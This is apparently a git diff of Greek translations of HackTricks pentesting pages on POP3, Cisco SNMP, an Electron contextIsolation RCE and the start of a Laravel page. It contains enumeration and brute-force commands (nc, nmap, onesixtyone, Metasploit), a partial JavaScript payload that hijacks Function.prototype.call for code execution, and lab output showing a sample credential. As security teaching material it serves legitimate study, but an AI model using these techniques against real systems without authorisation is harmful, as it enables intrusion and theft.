* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Βασικές Πληροφορίες
## Basic Information
Το **Post Office Protocol (POP)** περιγράφεται ως ένα πρωτόκολλο εντός του τομέα του δικτύου υπολογιστών και του Internet, το οποίο χρησιμοποιείται για την εξαγωγή και **ανάκτηση email από έναν απομακρυσμένο διακομιστή email**, καθιστώντας το προσβάσιμο στην τοπική συσκευή. Τοποθετημένο στο επίπεδο εφαρμογής του μοντέλου OSI, αυτό το πρωτόκολλο επιτρέπει στους χρήστες να ανακτούν και να λαμβάνουν email. Η λειτουργία των **πελατών POP** συνήθως περιλαμβάνει τη δημιουργία σύνδεσης με τον διακομιστή email, τη λήψη όλων των μηνυμάτων, την αποθήκευση αυτών των μηνυμάτων τοπικά στο σύστημα του πελάτη και στη συνέχεια την αφαίρεσή τους από τον διακομιστή. Παρόλο που υπάρχουν τρεις εκδόσεις αυτού του πρωτοκόλλου, το **POP3** ξεχωρίζει ως η πιο διαδεδομένη έκδοση.
**Πρωτόκολλο Ταχυδρομείου (POP)** περιγράφεται ως ένα πρωτόκολλο στον τομέα του υπολογιστικού δικτύου και του Διαδικτύου, το οποίο χρησιμοποιείται για την εξαγωγή και **ανάκτηση email από έναν απομακρυσμένο διακομιστή ταχυδρομείου**, καθιστώντας το προσβάσιμο στη τοπική συσκευή. Τοποθετημένο μέσα στην εφαρμογή του μοντέλου OSI, αυτό το πρωτόκολλο επιτρέπει στους χρήστες να ανακτούν και να λαμβάνουν email. Η λειτουργία των **πελατών POP** περιλαμβάνει συνήθως τη δημιουργία σύνδεσης με τον διακομιστή ταχυδρομείου, τη λήψη όλων των μηνυμάτων, την αποθήκευση αυτών των μηνυμάτων τοπικά στο σύστημα του πελάτη και στη συνέχεια την αφαίρεσή τους από τον διακομιστή. Αν και υπάρχουν τρεις εκδόσεις αυτού του πρωτοκόλλου, η **POP3** ξεχωρίζει ως η πιο ευρέως χρησιμοποιούμενη έκδοση.
**Προεπιλεγμένες θύρες:** 110, 995(ssl)
```
PORT STATE SERVICE
110/tcp open pop3
```
## Απαρίθμηση
## Enumeration
### Ανάκτηση Μπάνερ
### Banner Grabbing
```bash
nc -nv <IP> 110
openssl s_client -connect <IP>:995 -crlf -quiet
```
## Εγχειρίδιο
## Manual
Μπορείτε να χρησιμοποιήσετε την εντολή `CAPA` για να λάβετε τις δυνατότητες του διακομιστή POP3.
Μπορείτε να χρησιμοποιήσετε την εντολή `CAPA` για να αποκτήσετε τις δυνατότητες του διακομιστή POP3.
## Αυτοματοποιημένο
## Automated
```bash
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
```
Το πρόσθετο `pop3-ntlm-info` θα επιστρέψει μερικά "**ευαίσθητα**" δεδομένα (εκδόσεις Windows).
Ο `pop3-ntlm-info` plugin θα επιστρέψει κάποια "**ευαίσθητα**" δεδομένα (εκδόσεις Windows).
### [Χειρισμός POP3](../generic-methodologies-and-resources/brute-force.md#pop)
### [POP3 bruteforce](../generic-methodologies-and-resources/brute-force.md#pop)
## Σύνταξη POP
@ -64,26 +67,7 @@ QUIT Logout (expunges messages if no RSET)
TOP msg n Show first n lines of message number msg
CAPA Get capabilities
```
```markdown
## Post Office Protocol (POP)
POP is a protocol used by email clients to retrieve email from a mail server. Here are some common security issues to look out for when pentesting POP:
### Default Credentials
Some mail servers come with default credentials that are often left unchanged by users. During a pentest, try using common default credentials to see if you can access the POP server.
### Cleartext Authentication
POP traditionally sends credentials in cleartext, making it vulnerable to sniffing attacks. Look for ways to intercept and view these credentials during transit.
### Lack of Encryption
If POP is not configured to use encryption, credentials and emails are sent in plaintext, exposing them to potential eavesdropping. Always check if encryption is enabled on the POP server.
### Brute Force Attacks
Since POP does not have built-in mechanisms to prevent brute force attacks, it is important to test for weak passwords and implement account lockout policies to mitigate this risk.
### User Enumeration
Attackers can enumerate valid usernames through techniques like user enumeration, which can be used in further attacks. Ensure that user enumeration is not possible on the POP server.
```
Παράδειγμα:
```
root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
@ -108,25 +92,25 @@ Here is your login for remote desktop ... try not to forget it this time!
username: billydean
password: PA$$W0RD!Z
```
## Επικίνδυνες ρυθμίσεις
## Επικίνδυνες Ρυθμίσεις
Από [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
From [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
| **Ρύθμιση** | **Περιγραφή** |
| ------------------------- | ----------------------------------------------------------------------------------------- |
| `auth_debug` | Ενεργοποιεί όλη την αποσφαλμάτωση πιστοποίησης. |
| `auth_debug_passwords` | Αυτή η ρύθμιση προσαρμόζει την λεπτομέρεια των αρχείων καταγραφής, τα καταγεγραμμένα κωδικούς και το σχήμα καταγράφονται. |
| `auth_verbose` | Καταγράφει τις αποτυχημένες προσπάθειες πιστοποίησης και τους λόγους τους. |
| `auth_verbose_passwords` | Οι κωδικοί που χρησιμοποιούνται για την πιστοποίηση καταγράφονται και μπορεί επίσης να περικοπούν. |
| `auth_anonymous_username` | Αυτό καθορίζει το όνομα χρήστη που θα χρησιμοποιηθεί κατά την σύνδεση με τον μηχανισμό ANONYMOUS SASL. |
| `auth_debug` | Ενεργοποιεί την καταγραφή όλων των σφαλμάτων αυθεντικοποίησης. |
| `auth_debug_passwords` | Αυτή η ρύθμιση προσαρμόζει την λεπτομέρεια των καταγραφών, οι υποβληθείσες κωδικοί και το σχήμα καταγράφονται. |
| `auth_verbose` | Καταγράφει τις αποτυχημένες προσπάθειες αυθεντικοποίησης και τους λόγους τους. |
| `auth_verbose_passwords` | Οι κωδικοί που χρησιμοποιούνται για την αυθεντικοποίηση καταγράφονται και μπορούν επίσης να περικοπούν. |
| `auth_anonymous_username` | Αυτή καθορίζει το όνομα χρήστη που θα χρησιμοποιηθεί κατά την είσοδο με τον μηχανισμό ANONYMOUS SASL. |
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
## Αυτόματες εντολές HackTricks
## HackTricks Αυτόματες Εντολές
```
Protocol_Name: POP #Protocol Abbreviation if there is one.
Port_Number: 110 #Comma separated if there is more than one.
@ -169,13 +153,13 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
```
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε hacking AWS από το μηδέν μέχρι τον ήρωα με</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε [**Η Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή την [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα hacking σας υποβάλλοντας PRs στο** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **και** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,45 +1,48 @@
# Cisco SNMP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και το χάκαρισμα του αχάκαρτου - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
## Ελέγχοντας την Ασφάλεια των Δικτύων Cisco
## Pentesting Cisco Networks
Το **SNMP** λειτουργεί μέσω UDP με θύρες 161/UDP για γενικά μηνύματα και 162/UDP για μηνύματα παγίδες. Αυτό το πρωτόκολλο βασίζεται σε συμβολοσειρές κοινότητας, που λειτουργούν ως κωδικοί πρόσβασης που επιτρέπουν την επικοινωνία μεταξύ πρακτόρων SNMP και διακομιστών. Αυτές οι συμβολοσειρές είναι κρίσιμες γιατί καθορίζουν τα επίπεδα πρόσβασης, ειδικότερα τα **μόνο για ανάγνωση (RO) ή ανάγνωσης-εγγραφής (RW) δικαιώματα**. Ένα διακριτικό διάνυσμα επίθεσης για ελεγκτές ασφάλειας είναι η **δύναμη των συμβολοσειρών κοινότητας**, με στόχο τη διείσδυση σε συσκευές δικτύου.
**SNMP** λειτουργεί μέσω UDP με θύρες 161/UDP για γενικά μηνύματα και 162/UDP για trap μηνύματα. Αυτό το πρωτόκολλο βασίζεται σε community strings, που λειτουργούν ως κωδικοί πρόσβασης που επιτρέπουν την επικοινωνία μεταξύ SNMP agents και servers. Αυτές οι strings είναι καθοριστικές καθώς προσδιορίζουν τα επίπεδα πρόσβασης, συγκεκριμένα **μόνο ανάγνωση (RO) ή ανάγνωση-εγγραφή (RW) δικαιώματα**. Ένας αξιοσημείωτος επιθετικός παράγοντας για τους pentesters είναι η **βίαιη καταναγκαστική επίθεση σε community strings**, με στόχο την εισβολή σε δικτυακές συσκευές.
Ένα πρακτικό εργαλείο για την εκτέλεση τέτοιων επιθέσεων δύναμης είναι το [**onesixtyone**](https://github.com/trailofbits/onesixtyone), το οποίο απαιτεί μια λίστα πιθανών συμβολοσειρών κοινότητας και τις διευθύνσεις IP των στόχων:
Ένα πρακτικό εργαλείο για την εκτέλεση τέτοιων επιθέσεων βίαιης καταναγκαστικής είναι το [**onesixtyone**](https://github.com/trailofbits/onesixtyone), το οποίο απαιτεί μια λίστα πιθανών community strings και τις διευθύνσεις IP των στόχων:
```bash
onesixtyone -c communitystrings -i targets
```
#### `cisco_config_tftp`
Το πλαίσιο Metasploit διαθέτει το module `cisco_config_tftp`, το οποίο διευκολύνει την εξαγωγή των διαμορφώσεων συσκευών, υπό την προϋπόθεση ότι αποκτήθηκε ένα RW community string. Τα βασικά παράμετροι για αυτήν τη λειτουργία περιλαμβάνουν:
Το Metasploit framework διαθέτει το module `cisco_config_tftp`, διευκολύνοντας την εξαγωγή των ρυθμίσεων της συσκευής, υπό την προϋπόθεση ότι έχει αποκτηθεί μια RW community string. Οι βασικές παράμετροι για αυτή τη λειτουργία περιλαμβάνουν:
* RW community string (**COMMUNITY**)
* IP του επιτιθέμενου (**LHOST**)
* IP της συσκευής-στόχου (**RHOSTS**)
* Διαδρομή προορισμού για τα αρχεία διαμόρφωσης (**OUTPUTDIR**)
* IP της στοχευμένης συσκευής (**RHOSTS**)
* Διαδρομή προορισμού για τα αρχεία ρυθμίσεων (**OUTPUTDIR**)
Μετά την ρύθμιση, αυτό το module επιτρέπει τη λήψη των ρυθμίσεων της συσκευής απευθείας σε ένα καθορισμένο φάκελο.
Αφού ρυθμιστεί, αυτό το module επιτρέπει τη λήψη των ρυθμίσεων της συσκευής απευθείας σε έναν καθορισμένο φάκελο.
#### `snmp_enum`
Ένα άλλο module του Metasploit, το **`snmp_enum`**, εξειδικεύεται στη συλλογή λεπτομερών πληροφοριών υλικού. Λειτουργεί με οποιοδήποτε τύπο community string και απαιτεί τη διεύθυνση IP του στόχου για επιτυχή εκτέλεση:
Ένα άλλο module του Metasploit, **`snmp_enum`**, ειδικεύεται στη συλλογή λεπτομερών πληροφοριών υλικού. Λειτουργεί με οποιονδήποτε τύπο community string και απαιτεί τη διεύθυνση IP του στόχου για επιτυχή εκτέλεση:
```bash
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
@ -49,20 +52,23 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα στο χάκινγκ** και για να χακάρετε το αχακάριστο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών_).
Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,22 +1,25 @@
# Εκτέλεση κώδικα RCE μέσω του Electron contextIsolation
# Electron contextIsolation RCE via Electron internal code
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Παράδειγμα 1
Παράδειγμα από [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)
Ο ακροατής για το γεγονός "exit" πάντα ορίζεται από τον εσωτερικό κώδικα όταν ξεκινά η φόρτωση της σελίδας. Αυτό το γεγονός εκπέμπεται λίγο πριν από την πλοήγηση:
Ο ακροατής γεγονότων "exit" ρυθμίζεται πάντα από τον εσωτερικό κώδικα όταν ξεκινά η φόρτωση της σελίδας. Αυτό το γεγονός εκπέμπεται ακριβώς πριν από την πλοήγηση:
```javascript
process.on('exit', function (){
for (let p in cachedArchives) {
@ -27,23 +30,23 @@ cachedArchives[p].destroy()
```
{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}
![](<../../../.gitbook/assets/image (664).png>)
![](<../../../.gitbook/assets/image (1070).png>)
https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- Δεν υπάρχει πλέον
https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- Δεν υπάρχει πια
Στη συνέχεια πηγαίνει εδώ:
![](<../../../.gitbook/assets/image (647).png>)
![](<../../../.gitbook/assets/image (793).png>)
Όπου "self" είναι το αντικείμενο διεργασίας του Node:
Όπου το "self" είναι το αντικείμενο διαδικασίας του Node:
![](<../../../.gitbook/assets/image (652) (1).png>)
![](<../../../.gitbook/assets/image (700).png>)
Το αντικείμενο διεργασίας έχει μια αναφορά στη συνάρτηση "require":
Το αντικείμενο διαδικασίας έχει αναφορές στη λειτουργία "require":
```
process.mainModule.require
```
Καθώς το handler.call θα λάβει το αντικείμενο process, μπορούμε να το αντικαταστήσουμε για να εκτελέσουμε αυθαίρετο κώδικα:
Καθώς το handler.call πρόκειται να λάβει το αντικείμενο process, μπορούμε να το αντικαταστήσουμε για να εκτελέσουμε αυθαίρετο κώδικα:
```html
<script>
Function.prototype.call = function(process){
@ -54,24 +57,27 @@ location.reload();//Trigger the "exit" event
```
## Παράδειγμα 2
Αποκτήστε το **αντικείμενο require από την προσβολή της προτύπου ρύπανσης**. Από [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
Get **require object from prototype pollution**. From [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
Διαρροή:
Leak:
<figure><img src="../../../.gitbook/assets/image (34).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (279).png" alt=""><figcaption></figcaption></figure>
Εκμεταλλευτείτε:
Exploit:
<figure><img src="../../../.gitbook/assets/image (35).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (89).png" alt=""><figcaption></figcaption></figure>
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,37 +1,40 @@
# Laravel
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
